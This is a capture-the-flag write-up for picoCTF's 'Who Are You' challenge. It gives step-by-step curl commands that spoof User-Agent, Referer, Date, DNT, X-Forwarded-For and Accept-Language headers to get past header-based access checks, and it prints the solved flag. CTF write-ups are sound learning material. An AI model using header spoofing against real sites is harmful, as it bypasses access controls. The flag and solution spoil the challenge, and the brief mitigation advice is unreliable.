Muhammed Raihan P A

17 July 2021

Reported to picoctf.org

Server is vulnerable to modified HTTP requests

SUMMARY :-

'Who Are You' challenge in picoCTF challenges was vulnerable to modified HTTP requests. I used modified HTTP requests to access the different pages from the server, which was only accessible by some specified users. By modifying the requests precisely in headers, I could meet the specifications for the allowed users and hence I could find the flag

STEPS :-

1. When we launch the challenge we get a page that says **"Only people who use the official PicoBrowser are allowed on this site!".** The hint was like "It ain't much, but it's an RFC https://tools.ietf.org/html/rfc2616", was about HTTP requests and responses. I assumed that the User-Agent should be changed as PicoBrowser to get access to the flag. So I opened the terminal in my kali linux machine, and ran the following command : " *curl --user-agent 'PicoBrowser' http://mercury.picoctf.net:1270/* "

2. Yeah it worked. Now I got a message that goes like **“I don't trust users visiting from another site”.** I assumed that changing the Referer value in headers would help me. So I ran the following command in terminal : “ *curl --user-agent 'PicoBrowser' --header 'Referer: mercury.picoctf.net:1270/' http://mercury.picoctf.net:1270/* ”
3. It also worked, and I got a message **“Sorry, this site only worked in 2018”**. Now I assumed that the Date header should be changed. So I ran this : “ *curl --user-agent 'PicoBrowser' --header 'Referer: mercury.picoctf.net:1270/' --header 'Date:2018' http://mercury.picoctf.net:1270/ ”*
4. It gave me a message **“I don't trust users who can be tracked”.** So I tried preventing tracking by adding the DNT attribute in the header and it’s value as ‘1’. The command is : “ *curl --user-agent 'PicoBrowser' --header 'Referer: mercury.picoctf.net:1270/' --header 'Date:2018' --header 'DNT:1' http://mercury.picoctf.net:1270/”* .
5. Then I got this message **“This website is only for people from Sweden”.** Then I tried to use a Swedish IP address, I used this IP 2.16.175.255 **.** The command was : *“ curl --user-agent 'PicoBrowser' --header 'Referer: mercury.picoctf.net:1270/' --header 'Date:2018' --header 'DNT:1' --header 'X-Forwarded-For:2.16.175.255' http://mercury.picoctf.net:1270/ “*

6. It gave me a message **“You're in Sweden but you don't speak Swedish?”.** So I tried changing language by using following command : *” curl --user-agent 'PicoBrowser' --header 'Referer: mercury.picoctf.net:1270/' --header 'Date:2018' --header 'DNT:1' --header 'X-Forwarded-For:2.16.175.255' --header 'Accept-Language:sv,en;q=0.9' http://mercury.picoctf.net:1270/ “*
7. Hurray! I got the flag as the message “picoCTF{http_h34d3rs_v3ry_c0Ol_much_w0w_f56f58a5}”

IMPACT :

A user can anonymously send fake headers and confuse the server, so that they sent data to the wrong person.

MITIGATION :

Setting up highly secure response headers for the web apps. Using cache-control methods are also helpful.